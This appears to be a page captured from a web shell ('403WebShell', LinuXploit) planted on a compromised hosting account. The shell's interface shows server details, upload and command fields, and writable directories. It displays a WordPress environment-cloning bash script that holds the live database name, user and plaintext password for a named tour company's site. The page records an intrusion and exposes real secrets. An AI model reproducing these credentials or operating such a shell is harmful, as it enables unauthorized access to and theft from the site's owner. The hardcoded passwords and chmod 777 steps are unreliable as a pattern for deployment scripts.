Uname:Linux sxb1plmcpnl510317.prod.sxb1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 92.204.28.36  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux sxb1plmcpnl510317.prod.sxb1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : f981716tud7w ( 9071646)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/f981716tud7w/www/useful/dlt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/f981716tud7w/www/useful/dlt/spinenv.sh
#!/bin/bash

# Usage: ./spinenv.sh [dev|staging] [files|db|both]
if [[ $# -lt 2 ]]; then
  echo "Usage: $0 [dev|staging] [files|db|both]"
  exit 1
fi

ENV_NAME="$1"
SPIN_TYPE="$2"

# Shared live credentials
LIVE_DB_NAME="dlt_db"
LIVE_DB_USER="dlt_dbu"
LIVE_DB_PASS="8mkQ&!g7?yPR"
LIVE_DOMAIN="https://www.dragonloretours.com"

# Target db credentials (consistent for both envs)
DB_NAME="dlt_db_$ENV_NAME"
DB_USER="dlt_dbu_$ENV_NAME"
DB_PASS="8mkQ&!g7?yPR"
UPD_DOMAIN="https://$ENV_NAME.dragonloretours.com"

USEFUL_DIR="/home/f981716tud7w/www/useful/dlt"
BKP_DB_DIR="$USEFUL_DIR/bkp-dbs"
LIVE_DIR="/home/f981716tud7w/www/dragonloretours.com/www/"
UPD_DIR="/home/f981716tud7w/www/$ENV_NAME.dragonloretours.com"
THEME_DIR="$UPD_DIR/wp-content/themes/dlt"
#BACKUP_DIR="$USEFUL_DIR/theme-backups/$ENV_NAME"

# Backup DB function, and clean old backups (older than 7 days)
BACKUP_DB () {
  mkdir -p "$BKP_DB_DIR"
  TIMESTAMP=$(date +%Y%m%d%H%M%S)
  BACKUP_FILE="$BKP_DB_DIR/db_${ENV_NAME}_$TIMESTAMP.sql"
  mysqldump -u"$LIVE_DB_USER" -p"$LIVE_DB_PASS" --add-drop-table "$LIVE_DB_NAME" > "$BACKUP_FILE"
  find "$BKP_DB_DIR" -type f -mtime +7 -name "*.sql" -exec rm {} \;
}

SPIN_FILES () {
  echo "Spinning files for $UPD_DIR"
  chmod 777 -R "$UPD_DIR"
  rm -rf "$UPD_DIR"
  mkdir -p "$UPD_DIR"
  cp -Raf "$LIVE_DIR"/* "$UPD_DIR/"
  rm -rf "$UPD_DIR/wp-config.php"
  cp "$USEFUL_DIR/dlt-$ENV_NAME-wp-config.php" "$UPD_DIR/wp-config.php"
  cp "$LIVE_DIR/.htaccess" "$UPD_DIR/.htaccess"
  cp "$USEFUL_DIR/robots.txt" "$UPD_DIR/.robots"
  find "$UPD_DIR" -type d -exec chmod 755 {} \;
  find "$UPD_DIR" -type f -exec chmod 664 {} \;
  find "$UPD_DIR/" -iname "*.php*" -exec chmod 600 {} \;
  chmod 444 "$UPD_DIR/.htaccess"
  chmod 444 "$UPD_DIR/wp-config.php"
}

SPIN_DB () {
  echo "Backing up live DB..."
  BACKUP_DB
  echo "Spinning DB for $ENV_NAME..."
  mysql -u"$DB_USER" -p"$DB_PASS" "$DB_NAME" < "$BACKUP_FILE"
  mysql -u"$DB_USER" -p"$DB_PASS" "$DB_NAME" <<EOF
UPDATE wp_options SET option_value = '$UPD_DOMAIN' WHERE option_name IN ('siteurl', 'home');
UPDATE wp_options SET option_value = REPLACE(option_value, '$LIVE_DOMAIN', '$UPD_DOMAIN') WHERE option_value LIKE '%$LIVE_DOMAIN%';
EOF
}

case "$SPIN_TYPE" in
  files)   SPIN_FILES;;
  db)      SPIN_DB;;
  both)    SPIN_FILES && SPIN_DB;;
  *)       echo "Invalid type: $SPIN_TYPE"; exit 1;;
esac

echo "Complete!"

Youez - 2016 - github.com/yon3zu
LinuXploit